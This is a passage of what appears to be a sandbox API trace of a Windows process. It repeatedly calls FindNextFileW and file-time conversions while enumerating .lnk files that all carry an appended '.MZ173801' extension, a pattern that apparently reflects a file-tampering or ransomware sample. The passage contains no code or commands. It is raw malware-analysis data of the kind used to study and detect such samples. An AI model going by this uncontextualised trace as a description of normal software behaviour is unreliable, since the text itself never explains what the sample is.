hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4109c81b, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4109c81b, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x84db4ddb, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3f3, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="SyPgeh2hWXPmhIqZ_oMv.lnk.MZ173801", cAlternateFileName="SYPGEH~1.MZ1")) returned 1 [0153.202] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.202] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.202] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f7ba0fb, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x7f7ba0fb, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x84e01c0f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="TNMTkGiMBk1T.lnk.MZ173801", cAlternateFileName="TNMTKG~1.MZ1")) returned 1 [0153.202] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.202] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.202] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf13e35cc, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf13e35cc, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x84e4d69e, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x586, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="tX2YPj0q7xi_0h30ePDe.lnk.MZ173801", cAlternateFileName="TX2YPJ~1.MZ1")) returned 1 [0153.202] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.202] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.202] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fbeae3, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x70fbeae3, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x84f3a3d1, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x598, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="U6w rqSTE2RE5fqSNr.lnk.MZ173801", cAlternateFileName="U6WRQS~1.MZ1")) returned 1 [0153.202] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.202] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.202] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3327511, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf3327511, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x84f3a3d1, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3f9, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="UdgbQ58vO-A8Tluz.lnk.MZ173801", cAlternateFileName="UDGBQ5~1.MZ1")) returned 1 [0153.202] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.202] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.202] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf246db79, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf246db79, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x84f58811, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="UEnT80em6X.lnk.MZ173801", cAlternateFileName="UENT80~1.MZ1")) returned 1 [0153.202] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.202] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.202] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf147c00c, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf147c00c, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x84ff1084, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x288, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="UV46w2I sa.flv.lnk.MZ173801", cAlternateFileName="UV46W2~1.MZ1")) returned 1 [0153.203] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.203] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.203] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e7587f8, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4e7587f8, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x85017349, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3ca, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="UwqXZEB.lnk.MZ173801", cAlternateFileName="UWQXZE~1.MZ1")) returned 1 [0153.203] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.203] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.203] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf252c72e, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf252c72e, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x850637e3, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3b5, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="v32KoNWBg.lnk.MZ173801", cAlternateFileName="V32KON~1.MZ1")) returned 1 [0153.203] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.203] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.203] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42998d7b, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x42998d7b, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x850d5e09, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x27e, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="vB8zsHUk.lnk.MZ173801", cAlternateFileName="VB8ZSH~1.MZ1")) returned 1 [0153.203] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.203] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.203] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf546e835, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x4bb3ef4c, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x850fc1da, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x2e5, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Videos.lnk.MZ173801", cAlternateFileName="VIDEOS~1.MZ1")) returned 1 [0153.203] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.203] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.203] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf340c41e, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x5b26eb2e, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8516e993, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3f3, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="VqltAk.lnk.MZ173801", cAlternateFileName="VQLTAK~1.MZ1")) returned 1 [0153.203] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.203] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.203] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf23fb336, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf23fb336, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x85194a6d, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x2ba, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="W8V9x-I5M8DNxGO4p7hs.lnk.MZ173801", cAlternateFileName="W8V9X-~1.MZ1")) returned 1 [0153.203] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.203] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.203] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf36225ad, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf36225ad, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x851bb066, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x403, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="wHBTEKON3Jt-O3n64e.lnk.MZ173801", cAlternateFileName="WHBTEK~1.MZ1")) returned 1 [0153.203] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.203] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.203] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2683bd0, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x77371f7c, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x851e116e, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x39f, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="wmEX.lnk.MZ173801", cAlternateFileName="WMEXLN~1.MZ1")) returned 1 [0153.203] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.203] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.203] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c249ba, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf3c249ba, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x852072d0, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x27e, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="wsBv9esj.lnk.MZ173801", cAlternateFileName="WSBV9E~1.MZ1")) returned 1 [0153.203] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.203] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.203] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf372d5a1, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf372d5a1, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x8522d4be, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3ea, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="WtcPvUSK6qZR3.ots.lnk.MZ173801", cAlternateFileName="WTCPVU~1.MZ1")) returned 1 [0153.203] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.203] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.203] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59ece073, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x59ece073, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8529fbfc, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="WVzot.flv.lnk.MZ173801", cAlternateFileName="WVZOTF~1.MZ1")) returned 1 [0153.204] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.204] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.204] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b8d70bc, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x5b8d70bc, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x852c6798, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x44e, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="ww0uvocct0qsPBwJa 7.lnk.MZ173801", cAlternateFileName="WW0UVO~1.MZ1")) returned 1 [0153.204] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.204] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.204] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b24891a, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x5b24891a, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x852c6798, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="xC-u2wjwqhihKd-.lnk.MZ173801", cAlternateFileName="XC-U2W~1.MZ1")) returned 1 [0153.204] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.204] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.204] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf140989b, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x4dffa7b2, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x85384a7d, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x43f, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="XIPVtvqfodb6mWbl.lnk.MZ173801", cAlternateFileName="XIPVTV~1.MZ1")) returned 1 [0153.204] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.204] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.204] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4135919, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf4135919, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x853aaca7, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x2a1, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="XsWSFfkpZ7NjwRf.lnk.MZ173801", cAlternateFileName="XSWSFF~1.MZ1")) returned 1 [0153.204] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.204] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.204] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ce2dec3, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4ce2dec3, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x853aaca7, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="xWBAe007WO5EnzhrP2CH.lnk.MZ173801", cAlternateFileName="XWBAE0~1.MZ1")) returned 1 [0153.204] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.204] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.204] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x591b1167, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x591b1167, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x853d0ef5, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3b9, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="yC1N.lnk.MZ173801", cAlternateFileName="YC1NLN~1.MZ1")) returned 1 [0153.204] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.204] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.204] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf12b2226, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf12b2226, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x8560f24c, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3a6, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="YYk-.lnk.MZ173801", cAlternateFileName="YYK-LN~1.MZ1")) returned 1 [0153.204] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.204] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.204] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712210a2, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x712210a2, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x856334df, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3f3, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Y_OK e3 tBYnfH- u5V.lnk.MZ173801", cAlternateFileName="Y_OKE3~1.MZ1")) returned 1 [0153.204] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.204] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.204] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2f9aa2e, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x598fe3a8, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x856334df, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x40f, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="z 7ggJ8.lnk.MZ173801", cAlternateFileName="Z7GGJ8~1.MZ1")) returned 1 [0153.204] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.204] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.204] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3fde3b1, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x826f6a44, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x85659694, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x453, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="zkcrT -8SHIvOP_POgOU.lnk.MZ173801", cAlternateFileName="ZKCRT-~1.MZ1")) returned 1 [0153.204] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.204] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.204] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0ded904, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf0ded904, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x856cbd6a, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x5ba, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="zlyONG3Bll4oZ.lnk.MZ173801", 